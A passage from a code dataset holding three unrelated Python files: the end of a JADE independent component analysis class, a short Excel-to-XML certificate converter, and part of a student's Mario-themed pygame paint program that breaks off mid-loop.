to extract. `None` assumes all components\n        \"\"\"\n        super().__init__()\n\n        self.n_components: Optional[int] = n_components\n        self.mean_: NDArray[(Any, ...), Float]\n        self.components_: NDArray[(Any, ...), Float]\n\n    def fit(\n        self,\n        arr: NDArray[(Any, ...), Float],\n        y: Optional[NDArray[(Any, ...), Float]] = None,\n    ) -> JadeICA:\n        \"\"\"Calculate the unmixing matrix.\n\n        Parameters\n        ----------\n        arr : NDArray\n            mixed signal array\n        y : NDArray, optional\n            unused\n\n        Returns\n        -------\n        self\n\n        Raises\n        ------\n        IndexError\n            if :math:`m > n_features`\n        \"\"\"\n        # GB: we do some checking of the input arguments and copy data to new variables to\n        # avoid messing with the original input. We also require double precision (float64)\n        # and a numpy matrix type for X.\n        origtype = arr.dtype  # remember to return matrix B of the same type\n        arr = check_array(arr, dtype=float)\n\n        # GB: n is number of input signals, T is number of samples\n        _, n_features = arr.shape\n\n        if self.n_components is None:\n            self.n_components = n_features  # Number of sources defaults to # of sensors\n        elif self.n_components > n_features:\n            raise IndexError(\n                f\"More sources ({self.n_components}) than sensors ({n_features})\"\n            )\n\n        self.mean_ = arr.mean(axis=0)\n        self.components_ = _jade(arr, n_components=self.n_components).astype(origtype)\n        return self\n\n    def transform(self, arr: NDArray[(Any, ...), Float]) -> NDArray[(Any, ...), Float]:\n        \"\"\"Project the unmixing matrix onto `arr` to give independent signals.\n\n        Parameters\n        ----------\n        arr : NDArray\n            Unmixed signals\n\n        Returns\n        -------\n        NDArray\n            Unmixed signal array\n        \"\"\"\n        check_is_fitted(self)\n\n        arr -= self.mean_\n        signal: NDArray[(Any, ...), Float] = arr @ self.components_.T\n        return signal\n\n    def fit_transform(\n        self,\n        arr: NDArray[(Any, ...), Float],\n        y: Optional[NDArray[(Any, ...), Float]] = None,\n        **fit_params: str,\n    ) -> NDArray[(Any, ...), Float]:\n        \"\"\"Determine the independent signals using joint diagonalization.\n\n        Parameters\n        ----------\n        arr : NDArray\n            Mixed signal array\n        y : NDArray, optional\n            unused\n        fit_params : dict\n            unused\n\n        Returns\n        -------\n        NDArray\n            Unmixed signal array\n\n        Raises\n        ------\n        IndexError\n            if :math:`m > n_features`\n        \"\"\"\n        # GB: we do some checking of the input arguments and copy data to new variables to\n        # avoid messing with the original input. We also require double precision (float64)\n        # and a numpy matrix type for X.\n        origtype = arr.dtype  # remember to return matrix B of the same type\n        arr1 = check_array(arr, dtype=float)\n\n        # GB: n is number of input signals, T is number of samples\n        _, n_features = arr.shape\n\n        if self.n_components is None:\n            self.n_components = n_features  # Number of sources defaults to # of sensors\n        elif self.n_components > n_features:\n            raise IndexError(\n                f\"More sources ({self.n_components}) than sensors ({n_features})\"\n            )\n\n        self.mean_ = arr.mean(axis=0)\n        self.components_ = _jade(arr1, n_components=self.n_components).astype(origtype)\n\n        arr -= self.mean_\n        signal: NDArray[(Any, ...), Float] = arr @ self.components_.T\n        return signal\n\n    def inverse_transform(\n        self, arr: NDArray[(Any, ...), Float]\n    ) -> NDArray[(Any, ...), Float]:\n        \"\"\"Find the original mixed signals.\n\n        Parameters\n        ----------\n        arr : NDArray\n            Unmixed signal array\n\n        Raises\n        ------\n        NotImplementedError\n            If called because Jade does not provide inversion\n        \"\"\"\n        raise NotImplementedError(\n            \"Inverse transformation is currently not implemented.\"\n        )\n","repo_name":"tclick/qaa","sub_path":"src/qaa/decomposition/jade.py","file_name":"jade.py","file_ext":"py","file_size_in_byte":20178,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"19356570961","text":"import openpyxl\nfrom lxml import etree as ET\n\n\n\n# Открытие файла Excel\nworkbook = openpyxl.load_workbook('test_input.xlsx', data_only=True)\nsheet = workbook.active\n\n# Создание корневого элемента CERTDATA\ncertdata = ET.Element('CERTDATA')\n\n# Добавление элемента FILENAME\nfilename = ET.SubElement(certdata, 'FILENAME')\nfilename.text = sheet['B3'].value\n\n\n# Создание элемента ENVELOPE\nenvelope = ET.SubElement(certdata, 'ENVELOPE')\n\n# Чтение данных из таблицы Excel и создание элементов ECERT\nfor row in sheet.iter_rows(min_row=6, values_only=True):\n    ecert = ET.SubElement(envelope, 'ECERT')\n    certno = ET.SubElement(ecert, 'CERTNO')\n    certno.text = str(row[0])\n    certdate = ET.SubElement(ecert, 'CERTDATE')\n    certdate.text = row[1].strftime('%Y-%m-%d')\n    status = ET.SubElement(ecert, 'STATUS')\n    status.text = row[2]\n    iec = ET.SubElement(ecert, 'IEC')\n    iec.text = str(row[3])\n    expname = ET.SubElement(ecert, 'EXPNAME')\n    expname.text = f'\"{row[4]}\"'\n    billid = ET.SubElement(ecert, 'BILLID')\n    billid.text = row[5]\n    sdate = ET.SubElement(ecert, 'SDATE')\n    sdate.text = row[6].strftime('%Y-%m-%d')\n    scc = ET.SubElement(ecert, 'SCC')\n    scc.text = row[7]\n    svalue = ET.SubElement(ecert, 'SVALUE')\n    svalue.text = str(row[8]).replace(',', '.')\n\n\n# Создание объекта ElementTree и запись в файл\ntree = ET.ElementTree(certdata)\ntree.write('output_xml.xml', encoding='utf-8', xml_declaration=True,pretty_print=True)\n","repo_name":"C0deMaestro/SberTest","sub_path":"task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"17379940130","text":"#Paint Project.Py\n#Noor Nasri\n#Dec. 1st/2017 - Feb. 1st/2018\n#This is the program made for 15% of my computer science mark, to provide the essentials to creating media arts. A paint Program with a nintendo switch/mario theme.\n\n\n#############\n##Extra Features (The ones that are useful):\n## - Program is Resizeable with ratio constraints. All measurements are compatible with diffrent resolutions.\n## - Custom load menu allows painters to see a small demo of the paint before loading it\n## - Fill Tool\n## - Text Tool\n## - Spray Paint, Eye Dropper, and Marker Tools\n## - Polygon Tool\n## - An additional 9 extra shapes (Triangle, Diamond, Parallelogram, Star, Arrow, Lightning Bolt, Mail, Cross, Custom shape)\n## - You can have seperate filled and outline colours for shapes (By changing the colour in gradient slider first)\n## - Holding Shift while making the shapes (and most tools under \"Extras\") turns their selection box into a square\n## - Extra Stamps, which are also resized according to thickness\n## - Crop Tool\n## - Magnify Tool\n## - Rotate Tool, Move Tool\n## - Flip V Tool, Flip H Tool\n## - Inverse Colour Tool\n## - Dark Tint Tool\n## - Inverse V Tool, Inverse H Tool\n## - Gradient slider that switches the L from the hsl of the colour\n## - Volume Slider\n## - Undo/Redo\n## - Animation playing for when a page is flipped or category selected\n## - Animation for when a button is hovered on, and for when it is selected (for nearly all buttons in all menus)\n## - Save User online (Could not fix saving paint online in time)\n## - They can unequip a tool\n##\n#############\n##Attention To Detail:\n## - The shape outlines are all drawn with a custom polygon technique, so that they all look nice and even have curved corners\n## - Resizing keeps the screen in the same ratio\n## - When using stamps, magnify, crop, etc; your mouse holds the center, not the corner\n## - Even though there are gifs and lots of effects for visuals, items are only blit in single moments to reduce latency \n## - The Undo/Redo list is added upon when an action is complete, not simply when they fire a MouseButtonUp within the canvas\n## - Text shown to user has outline (except the ones drawn)\n## - Tested for bugs (Probably none?)\n## - Responsive\n## - The text font is as large as possible to fit in a given rectangle, so that it looks the same with resize\n## - When displaying a list of options (ex. load menu), the text font is as large as possible for the one that takes the most space, so they have the same text font\n## - PixelArray to quicken fill and inverse colour tools\n#############\n\n####################################\n#Importing modules\nimport os\nimport time\nimport random\nimport functools\nimport math\nimport pygame\nimport requests\n\n\n####################################\n#Game Variables\nstarting_time = time.time() #Specifies the time the program started running\nnormal_buttons = [] #The button rects to check if they are being clicked\nloop_end = None #The time the last loop started\nrunning = True #Variable to know when to end the loop\n\noriginal_screen = [1050, 500] \nsize_ratio = 1 #Ratio to original screen. x and y are constrainted so that the ratio remains the same.\n\nwindow_chosen = \"Main Menu\" #Variable to know which screen they are on (Main Menu, Paint, Load, Log-in, Settings)\nnext_window = \"Main Menu\" #When shading in, it stays as current, when starting to shade out, it switches to next window\ntransition_value = -4\ncurrent_shade = 255 #Shade for the transition value\ntransition_image = None #After putting a transparent shade, we need to blit the image of how it was before, so that the transparent shades do not overlap and make it all black\n\npath_way = os.path.dirname(os.path.realpath(__file__)) #Directory to the python file\n\n\nlast_selected = {\"Bottom_Left\":False,\"Paint Category\":False, \"Paint Tools\": False, \"chosen_filled\": False, \"Top Bar\": False} #Dictionary to tell us which buttons were clicked, in whichever area\n\n#Images that are used later on with subsurface to undo certain animations\nnintendo_alone = None\norig_top_right = None\norig_bottom_right = None\n\n#Adding all local saves and storing them in a dictionary when the program starts\nlocal_saves = {}\nfor image in os.listdir(path_way+\"\\Saves\"):\n    save_path = \"Saves\\\\\" + image\n    if image[-3:]==\"png\":\n        local_saves[image[:-4]] = pygame.image.load(save_path)\n        \n        \nuser_info = {\"Username\":\"Guest\",\"Logged in\": False,\"Online saves\":{}} #Holds the status the user is in for online connection\ndocs_url = \"https://script.google.com/macros/s/AKfycbzelmKX_fQkRYUVSrwqb_Yshr8pNP4WkPJwZorKX1wm9o9HuLTi/exec\" #Link to the google docs which holds all online saves\n#The docs url has javascript running to detect Get and Post requests, and will return according to parameters\n\n\n\ngif_delays = {\"Main Menu\":0.06,\"Account\":0.08,\"Select Paint\":0.02} #Holds how many seconds should b\nimages_sizing = {} #Original sizing for images\n\n#Holds original images so they don't pixilate as we transform them\nnon_touched_gifs = {}\nnon_touched_images = {}\n\n#Loading all png images in GIF Frames folder into the dictionary \nfor file in os.listdir(path_way+\"\\GIF Frames\"):\n    non_touched_gifs[file] = []\n    for image in os.listdir(path_way+\"\\GIF Frames\"+ \"\\\\\" +file):\n        image_path = \"GIF Frames\"+ \"\\\\\" +file+\"\\\\\"+image\n        if image[-3:]==\"png\":\n            non_touched_gifs[file].append([pygame.image.load(image_path),file[-3:]])\n\n#Loading all png and jpg images in Images folder into the dictionary with the size indicated in their names\nfor image in os.listdir(path_way+\"\\Images\"):\n    image_path = \"Images\"+ \"\\\\\" +image\n    if image[-3:]==\"png\" or image[-3:]==\"jpg\":\n        wished_x,wished_y = [int(e) for e in image.split()[0].split(\"-\")]\n        non_touched_images[image[image.find(\" \")+1:-4]] = pygame.image.load(image_path)#(int(wished_x*size_ratio),int(wished_y*size_ratio)))\n        images_sizing[image[image.find(\" \")+1:-4]] = [wished_x,wished_y]\n\n#Dictionaries that hold the transformed images. Remade when the resize event is fired\ngif_frames = {} \nimages_folder = {} \n\n\n\n####################################\n#Paint specific Variables:\n    \npaint_status = 0 #Mouse status while painting, 0 = Just Ended, 1 = Just Started, 2 = Holding, 3= Not clicking at all\n\n#Dictionary that specifies what kind of things to look for in each tool\ninfo_required = {\"Tools\":{\"Everything\":\"Drag\",\"Dropper\":\"Special\",\"Fill\":\"Special\",\"Text\":\"Special\"},\n                 \"Shapes\":{\"Everything\":\"S+E\",\"Polygon\":\"Special\"},\n                 \"Stamps\":{\"Everything\":\"Click\"},\n                 \"Extras\":{\"Everything\":\"S+E\", \"Magnify\":\"Special\", \"Rotate\":\"Special\", \"Move\":\"Special\"}}\n\n#List of tools in each category, every 6 are displayed on a page\nextra_info = {\"Tools\":[\"Pencil\",\"Eraser\",\"Dropper\",\"Fill\",\"Spray\",\"Text\",   \"Marker\"],\n              \"Shapes\":[\"Line\",\"Ellipse\",\"Rectangle\",\"Triangle\",\"Diamond\",\"Parallelogram\",  \"Star\",\"Arrow\",\"Lightning\",\"Envelope\",\"Cross\",\"Falcon\",   \"Polygon\"],\n              \"Stamps\":[\"Mario\",\"Luigi\",\"Mario and Luigi\",\"Yoshi\",\"Bowser\",\"Donkey Kong\",  \"Red Mushroom\",\"Orange Mushroom\",\"Toad\",\"Pipe\",\"Peach\"],\n              \"Extras\":[\"Crop\",\"Magnify\",\"Rotate\",\"Flip V\",\"Flip H\",\"Move\",   \"Inverse Color\",\"Darken\",\"Inverse V\",\"Inverse H\"]} \n\n#Loading all the stamps\nloaded_stamps = {}\nfor stamp in extra_info[\"Stamps\"]:\n    loaded_image = pygame.image.load(\"Stamps\\\\\"+stamp+\".png\")\n    x,y = loaded_image.get_size()\n    loaded_stamps[stamp] = [loaded_image, y/x]\n\n    \n#Flags and variables used for specefic special tools\npolygon_start = None\nmagnify_start = False\nmove_selected = None\nmove_started = False\ntyping_started = False\ntyping_text = \"\"\n\n\npaint_buttons = {} #Paint rects to see if any category is pressed\ntool_select_buttons = {} #Paint rects to see if any tool is pressed\n\nselection_page = 0 #Each page holds 6 tools in the category, this variable holds which page they are on. \n\n####################################\n#Account specific variables:\naccount_menu = \"Sign in\" #Sign in or Register, holds which menu they are on\n\n#Text box's and their variables for username and password\nlogin_fields = {\"Username\":{\"Editing\":False,\"Text\":\"\",\"Button\":None,\"Buttonpos\":[235,240]},\"Password\":{\"Editing\":False,\"Text\":\"\",\"Button\":None,\"Buttonpos\":[235,335]}}\nsign_failure = [0,\"\"] #when they fail to sign in, for the next 5 or so seconds, they are given a message. [time of failure, failure reason]\n\n\n####################################\n#Paint select menu variables:\nselection_menu = \"New\" #New or Load, holds which meny \nnew_paint = \"\" #Name of the paint they select\ntyping_paint = False #They are typing a new name\nselect_save_page = {\"Local saves\":[300,160,0],\"Online saves\":[600,160,0]} #positioning for the rectangles [pos_x,pos_y,scroll variable]\n\n####################################\n#Initilizing modules\npygame.init()\npygame.mixer.init()\npygame.font.init()\n\n####################################\n#Displaying the screen\nos.environ['SDL_VIDEO_WINDOW_POS'] = '0,25'\n\nscreen = pygame.display.set_mode([1260,600],pygame.RESIZABLE)\n\npygame.display.set_caption(\"Noor Nasri's Paint Program!\")\n\n####################################\n#Putting on the music\npygame.mixer.music.load(\"Gusty Garden Galaxy - Super Mario Galaxy.mp3\")\npygame.mixer.music.set_volume(0.2)\npygame.mixer.music.play(-1)\n\n####################################\n# Game functions:\n\ndef make_frames(gifs): #Makes the gif frames wanted according to time, instead of clogging up space in main code \n    for item in gifs: #items are in this format: [gif,loop_time,cooldown,x,y]\n        frames = gif_frames[item[0]] \n        chosen = int((item[1] - starting_time)/item[2]) % len(frames)\n        screen.blit(frames[chosen],(int(item[3]*size_ratio),int(item[4]*size_ratio)))\n    \ndef draw_images(dict_to_draw,x,y,need_type): #draw images wanted, and return all the surfaces that collide or the image they clicked\n    image_rects = {} #Dictionary with the key being the name of the image, the value being the rectangle\n    image_clicked = \"None\"\n    for image_name in dict_to_draw: #images that need to be drawn\n        item = dict_to_draw[image_name]\n        image = screen.blit(images_folder[image_name],(int(item[0]*size_ratio),int(item[1]*size_ratio)))\n        if len(item)==2: #If the length is over 2, we don't wish for the image to count towards the image_clicked and image_rects (We purposely make the length 3)\n            image_rects[image_name] = image\n            if image.collidepoint((x,y)):\n                image_clicked = image_name\n    if need_type == \"Clicked\":\n        return image_clicked\n    elif need_type == \"Rects\":\n        return image_rects\n    \n#make text with outline colour by blitting around it.\ndef text_with_outline(text,myfont,col_main, col_outline, x, y, outline_width, scale_needed): \n    main_text = myfont.render(text, True, col_main) #The main colour text\n    outline_text = myfont.render(text, True, col_outline) #The text rendered with the outline colour\n\n    #Blit the outline text 4 times around the main text, then blit the main text\n    stuff = [[int(e*size_ratio) if scale_needed else e for e in [x,y]] for a in range(5)]\n    extra = [[outline_width,0],[outline_width*-1,0],[0,outline_width],[0,outline_width*-1]]\n    for a in range(4):\n        stuff[a][0] += extra[a][0]\n        stuff[a][1] += extra[a][1]\n    for outlinePos in stuff[:-1]:\n        screen.blit(outline_text,outlinePos)\n    screen.blit(main_text,stuff[-1])\n\n#Given hsl, return the correct rgb. Could not find a module for hsl to rgb but there is a way to turn rgb into hsl.\ndef hsl_to_rgb(hsl):\n    h,s,l = hsl\n    c = (1- abs(2*l-1))*s\n    x = c*(1-abs((h/60)%2-1))\n    m = l - c/2\n    if h<60:\n        R,G,B = (c,x,0)        \n    elif h<120:\n        R,G,B = (x,c,0) \n    elif h<180:\n        R,G,B = (0,c,x) \n    elif h<240:\n        R,G,B = (0,x,c) \n    elif h<300:\n        R,G,B = (x,0,c) \n    else:\n        R,G,B = (c,0,x) \n    r,g,b = [int(e) for e in ((R+m)*255, (G+m)*255, (B+m)*255)]\n    return(r,g,b)\n\n#Sets the colour display once colour is changed or screen is resized\ndef make_color(): \n    background = nintendo_alone.subsurface([int(e*size_ratio) for e in [30,195,125,65]])\n    screen.blit(background,[int(e*size_ratio) for e in (30,195)])\n    lue_pos = 90+65*pygame.Color(chosen_colour[0],chosen_colour[1],chosen_colour[2]).hsla[2]/100 #calculate new position for the gradient slider\n    \n    pygame.draw.circle(screen,chosen_colour,(int(60*size_ratio),int(220*size_ratio)),int((12.5+chosen_thickness/2)*size_ratio)) #Draw new colour properties\n    \n    screen.blit(images_folder[\"Gradient\"],[int(e*size_ratio) for e in (90,200)]) #Gradient Meter\n    pygame.draw.line(screen,(255,255,255),(int(lue_pos*size_ratio),int(200*size_ratio)),(int(lue_pos*size_ratio),int(220*size_ratio)),math.ceil(size_ratio))\n    \n    pygame.draw.line(screen,0,(int(90*size_ratio),int(235*size_ratio)),(int(155*size_ratio),int(235*size_ratio)),1)\n    pygame.draw.line(screen,0,(int(90*size_ratio),int(225*size_ratio)),(int(90*size_ratio),int(245*size_ratio)),math.ceil(size_ratio))\n    pygame.draw.line(screen,0,(int(155*size_ratio),int(225*size_ratio)),(int(155*size_ratio),int(245*size_ratio)),math.ceil(size_ratio))\n    pygame.draw.line(screen, (255, 255, 255), (int(90*size_ratio+65*size_ratio*chosen_thickness/25), int(225*size_ratio)),(int(90*size_ratio+65*size_ratio*chosen_thickness/25), int(245*size_ratio)))\n\n#Sets volume mixer when volume is changed or when screen is resized\ndef volume_mixer(): \n    background = nintendo_alone.subsurface([int(e*size_ratio) for e in [45,309,105,17]])\n    screen.blit(background,[int(e*size_ratio) for e in [45, 309]])\n    cur = pygame.mixer.music.get_volume() #Volume bar\n    pygame.draw.ellipse(screen,(27,27,27),[int(e*size_ratio) for e in [47,310,100,15]])\n    pygame.draw.ellipse(screen,(200,200,200),[int(e*size_ratio) for e in [47,310,100*cur,15]])\n    pygame.draw.line(screen,(0,0,0),[int(e*size_ratio) for e in [47,310]],[int(e*size_ratio) for e in [47,325]],2)\n    pygame.draw.line(screen,(0,0,0),[int(e*size_ratio) for e in [147,310]],[int(e*size_ratio) for e in [147,325]],2)\n\n\n#Given the width and height wanted, find the largest possible size for the font\n@functools.lru_cache(maxsize=None)\ndef font_size(font,text,max_width,max_height,size):#Recurssion with memoization\n    myfont = pygame.font.SysFont(font, size)\n    x,y = pygame.font.Font.size(myfont,text) \n    if x<max_width and y<max_height or size<4:\n        return [size,x,y,myfont]\n    return font_size(font,text,max_width,max_height,size-3)\n\n#Makes the tool page. Each page holds 6 tools, and they switch pages by scrolling while mouse is over the page. If animation_wanted is true, then flip the screen while making it\ndef tool_page(animation_wanted):\n    screen.blit(nintendo_alone.subsurface([int(e*size_ratio) for e in (890,210,120,155)]),[int(e*size_ratio) for e in (890,210)])\n    if animation_wanted:\n        pygame.display.flip()\n        \n    tool_select_buttons = {}\n    c=0 #Counter for which image we are blitting\n    for item in extra_info[chosen_category][selection_page*6:(selection_page+1)*6]: #Tiny slide for the 6 tools\n        image = images_folder[chosen_category + \" \" + item]\n        tool_select_buttons[item] = screen.blit(image,[int(e*size_ratio) for e in [900+60*(c%2),220+50*(c//2)]])\n        \n        if animation_wanted:\n            pygame.display.update(tuple(int(e*size_ratio) for e in [900+60*(c%2),220+50*(c//2),35,35]))\n            pygame.time.wait(75)\n\n        c+=1\n        \n    orig_bottom_right = screen.copy().subsurface([int(e*size_ratio) for e in [890,210,120,155]])\n\n    return (tool_select_buttons, orig_bottom_right)\n\n#Displays the filled colour box. Called when they resize, change categories, or change the filled colour\ndef change_filled(): \n    dim = [int(e*size_ratio) for e in (930,370,35,35)]\n    if chosen_category == \"Shapes\":\n        if chosen_filled: #Show them their chosen filled colour and display options\n            pygame.draw.rect(screen, chosen_filled, dim) \n            pygame.draw.rect(screen, (255,255,255), dim, math.ceil(size_ratio))\n        else: #Show them where to click to turn their shapes into filled\n            pygame.draw.rect(screen, (100,100,103), dim)\n            pygame.draw.rect(screen, (255,255,255), dim, math.ceil(size_ratio))\n    else:\n        screen.blit(nintendo_alone.subsurface((dim[0],dim[1],dim[2]+math.ceil(size_ratio),dim[3]+math.ceil(size_ratio))) , (dim[0],dim[1]))\n\n#Called when a new menu is put, or when the menu is resized to minimize the number of blits. \ndef update_menu():\n    global normal_buttons\n    global screen\n    global nintendo_alone\n\n    #Making the background and the left hand controls\n    screen.fill((195,195,195)) \n\n    #Add our name on there to give proper credits\n    largest_size, x_taken, y_taken, myfont = font_size(\"timesnewroman\",\"Made by Noor Nasri\",int(150*size_ratio),int(50*size_ratio),100)\n    text_with_outline(\"Made by Noor Nasri\",myfont, (0,0,0), (255,255,255),(size_ratio*original_screen[0]-x_taken)//2, int(size_ratio*original_screen[1]-y_taken), 1, False)\n    \n    draw_images({'Nintendo Switch': [25, 25, 'Background, do not check collide']},0,0,\"Rects\")\n    nintendo_alone = screen.copy()\n    \n    images_database = {'Home': [75, 350], 'Volume': [47, 275], 'Minus': [82, 270], 'Plus': [115, 270]}\n    normal_buttons = draw_images(images_database,0,0,\"Rects\")\n    volume_mixer()\n    \n    if window_chosen == \"Paint\": #Draw extra controls for the sides\n        global paint_buttons\n        global tool_select_buttons\n        global paint_canvas\n        global orig_top_right\n        global orig_bottom_right\n        global top_buttons\n        \n        images_db = {\"Colours\":[35,65,\"Don't bother checking\"],\"Tools\":[920,65],\"Stamps\":[920,125],\"Shapes\":[890,95],\"Extras\":[950,95]}\n        paint_buttons = draw_images(images_db,0,0,\"Rects\")\n\n        images_db = {\"Undo\":[0,0],\"Redo\":[60,0], \"Save\":[1005,0]}\n        top_buttons = draw_images(images_db,0,0,\"Rects\")\n        \n        tool_select_buttons, orig_bottom_right = tool_page(False)\n        \n        if chosen_item != \"None\": #Draw rectangle after orig_bottom_right had been subsurfaced so the rectangle is not part of it \n            c = extra_info[chosen_category].index(chosen_item)\n            c = c%6\n            pygame.draw.rect(screen,0,[int(e*size_ratio) for e in [900+60*(c%2),220+50*(c//2),35,35]],math.ceil(size_ratio))\n\n        canvas_args = [int(e*size_ratio) for e in [180,45,690,415]]\n        if len(undo_list)>0: #If the list is empty, just make a rectangle instead\n            paint_canvas = screen.blit(pygame.transform.scale(undo_list[-1],canvas_args[2:]),canvas_args[:2])\n        else:\n            paint_canvas = pygame.draw.rect(screen, (210,210,210),canvas_args)\n            \n    \n        screen_copy = screen.copy()\n        \n        orig_top_right = screen_copy.subsurface([int(e*size_ratio) for e in [875,25,140,140]])\n        make_color()    \n\n        largest_size, x_taken, y_taken, myfont = font_size(\"timesnewroman\",\"Stamps\",int(75*size_ratio),int(50*size_ratio),100)\n        text_with_outline(chosen_category,myfont,(255,255,255), (0,0,0), 890, 175, 1, True)\n\n        change_filled()\n#Makes a line with a bunch of circles \ndef make_line(start_pos, end_pos, radius, colour): \n    # Ax + By + C = 0 aka. y = (-Ax - C)/B\n    A = (end_pos[1]-start_pos[1])*-1\n    B = end_pos[0]-start_pos[0]\n    C = -1*(A*start_pos[0] + B*start_pos[1])\n    #Checks all x values and finds their corresponding y\n    for x in range (min(start_pos[0], end_pos[0]),max(start_pos[0], end_pos[0])):\n        y = int((-1*A*x - C)/B)\n        pygame.draw.circle(screen, colour, (x,y), radius)\n    #Checks all y values and finds their corresponding x\n    for y in range (min(start_pos[1], end_pos[1]),max(start_pos[1], end_pos[1])):\n        x = int((-1*B*y - C)/A)\n        pygame.draw.circle(screen, colour, (x,y), radius)\n\n####################################\n# Game loop\nwhile running:\n    #Round variables\n    clicked = False\n    new_text = \"\"\n    pressed_enter = False\n    scrolled = 0\n    del_clicked = 0\n    \n    for event in pygame.event.get(): #event loop\n        if event.type == pygame.QUIT: #They left the project\n            running = False\n        elif event.type == pygame.MOUSEBUTTONDOWN and event.button==1: #They clicked with the left click\n            clicked = True\n        elif event.type == pygame.MOUSEBUTTONDOWN and event.button==5: #They scrolled downwards\n            scrolled = 1\n        elif event.type == pygame.MOUSEBUTTONDOWN and event.button==4: #They scrolled upwards\n            scrolled = -1\n        elif event.type == pygame.VIDEORESIZE: #They resized the screen\n            \n            #Resize the screen but constraint the ratio, then resize all our images\n            requested_size = [event.w,event.h]\n            ratio_wanted = original_screen[0]/original_screen[1] #Original ratio we must have\n            ratio_requested = requested_size[0]/requested_size[1] #The ratio the size they made has\n\n            #Find the best way to make the screen as large as possible while following the ratio_wanted\n            if ratio_requested > ratio_wanted + 0.01: \n                requested_size[0] = int(requested_size[1]*ratio_wanted)\n            elif ratio_requested < ratio_wanted - 0.01:\n                requested_size[1] = int(requested_size[0]/ratio_wanted)\n            \n            size_ratio = requested_size[1]/original_screen[1] #Changes the size ratio to be a ratio of the original screen\n            screen = pygame.display.set_mode(requested_size,pygame.RESIZABLE)\n\n            #Reload and resize images so they fit and don't look pixalated\n            gif_frames = {}\n            for ind in non_touched_gifs:\n                gif_frames[ind] = non_touched_gifs[ind][:]\n            for folder in gif_frames:\n                for i in range(len(gif_frames[folder])):\n                    image = gif_frames[folder][i]\n                    if image[1] == \"Gif\":\n                        gif_frames[folder][i] = pygame.transform.scale(image[0],[int(e*size_ratio) for e in [75,75]])\n                    else:\n                        gif_frames[folder][i] = pygame.transform.scale(image[0],[int(e*size_ratio) for e in [600,370]])\n                        \n            images_folder = {}\n            for ind in non_touched_images:\n                images_folder[ind] = non_touched_images[ind]\n            for image in images_folder:\n                images_folder[image] = pygame.transform.scale(images_folder[image],[int(e*size_ratio) for e in images_sizing[image]])\n                \n            update_menu() #Remake the menu    \n        elif event.type == pygame.KEYDOWN:\n            if event.key == pygame.K_BACKSPACE:\n                del_clicked += 1\n            elif event.key == pygame.K_KP_ENTER or event.key == pygame.K_RETURN:\n                pressed_enter = True\n            elif event.key < 256:\n                new_text += event.unicode\n            \n    #Round variables after loop\n    mouse_x,mouse_y = pygame.mouse.get_pos()\n    mouse_press = pygame.mouse.get_pressed()\n    loop_start = time.time()\n\n    #When transitioning menus, black shades are put on top\n    #This removes traces of black shading by blitting how the screen would have looked without it\n    if transition_image:\n        screen.blit(transition_image,(0,0))\n        transition_image = None\n        \n    #Drawing corner gifs\n    make_frames([[\"Mario Gif\",loop_start,0.08,-10,440],[\"Luigi Gif\",loop_start,0.1,985,430]])\n    \n    #Checking if left side control is clicked or hovered on\n    veiwing_image = None\n    for item in normal_buttons:\n        if normal_buttons[item].collidepoint((mouse_x,mouse_y)):\n            veiwing_image = item\n            break    \n    #Check if they were animated last loop, if so, unanimate them\n    if last_selected[\"Bottom_Left\"]:\n        screen.blit(last_selected[\"Bottom_Left\"][1], last_selected[\"Bottom_Left\"][0])\n        last_selected[\"Bottom_Left\"] = False\n        \n    if veiwing_image:\n        #If they are hovering over it, blit the items needed. If they clicked on it, do the actions required \n        if clicked and (veiwing_image==\"Plus\" or veiwing_image==\"Minus\"):\n            extra = {\"Plus\":0.1,\"Minus\":-0.1}[veiwing_image]\n            new = pygame.mixer.music.get_volume()+extra\n            if new<0 or new>1:\n                new = round(new)\n            pygame.mixer.music.set_volume(new)\n            volume_mixer() #Show new volume\n            \n        elif clicked and veiwing_image==\"Home\" and transition_value==0:\n            next_window = \"Main Menu\"\n            transition_value = 5\n\n        #Display the name of what they are hovering on\n        largest_size, x_taken, y_taken, myfont = font_size(\"calibri\",veiwing_image,int(55*size_ratio),int(20*size_ratio),70) \n        pos = [int(mouse_x + 12 + int(55*size_ratio)/2-x_taken*size_ratio/2),int(mouse_y + int(20*size_ratio)/2-y_taken*size_ratio/2)]\n        \n        #How the subsurface looked before the text is blit, to be put on top next loop\n        last_selected[\"Bottom_Left\"] = [(pos[0]-2,pos[1]-2),screen.copy().subsurface((pos[0]-2,pos[1]-2,x_taken+4, y_taken+4))]\n        \n        text_with_outline(veiwing_image,myfont,(255,255,255), (0,0,0), pos[0], pos[1], 1, False)\n\n    #Drawing current menu in the center if there is a background gif\n    if gif_delays.get(window_chosen) != None:\n        make_frames([[window_chosen,loop_start,gif_delays[window_chosen],230,65]])\n\n    ####################################\n    #Making specific windows\n        \n    if window_chosen == \"Main Menu\":\n        #Give the three options: Play, Paint, Account\n        images_database = {'Play Button': [240, 340],'Paint Button': [445, 340],'Account Button': [645, 340]}\n        image_clicked = draw_images(images_database,mouse_x,mouse_y,\"Clicked\") #Blit and see if they are clicked\n        \n        if image_clicked != \"None\": #If they are hovering on one, make it bigger, and change windows if they click\n            x,y = images_database[image_clicked]\n            image = screen.blit(pygame.transform.scale(images_folder[image_clicked],[int(i*size_ratio) for i in [200,80]]),(int((x-15)*size_ratio),int((y-10)*size_ratio)))\n            if clicked:\n                next_window = {\"Play Button\":\"Play\",\"Paint Button\":\"Select Paint\",\"Account Button\":\"Account\"}[image_clicked]\n                transition_value = 5\n        #Display the \"Welcome, Player\" text at the top left\n        largest_size, x_taken, y_taken, myfont = font_size(\"timesnewroman\",\"Welcome, %s!\"%(user_info[\"Username\"]),int(300*size_ratio),int(150*size_ratio),100) #\"Welcome, Player\"\n        text_with_outline(\"Welcome, %s!\"%(user_info[\"Username\"]),myfont,(255,255,255), (0,0,0), 240, 90, 1, True)\n        \n    elif window_chosen == \"Paint\":\n        #Check to see if they clicked on the colour picker\n        if clicked and (35*size_ratio<=mouse_x<=160*size_ratio and 120*size_ratio<=mouse_y<=140*size_ratio or 65*size_ratio<=mouse_y<=190*size_ratio and 89*size_ratio<=mouse_x<=109*size_ratio):\n            if chosen_colour == chosen_filled:\n                chosen_filled = screen.get_at((mouse_x,mouse_y))\n                change_filled()\n            chosen_colour = screen.get_at((mouse_x,mouse_y))\n            make_color() \n\n        #Check to see if they are dragging the colour slider \n        elif 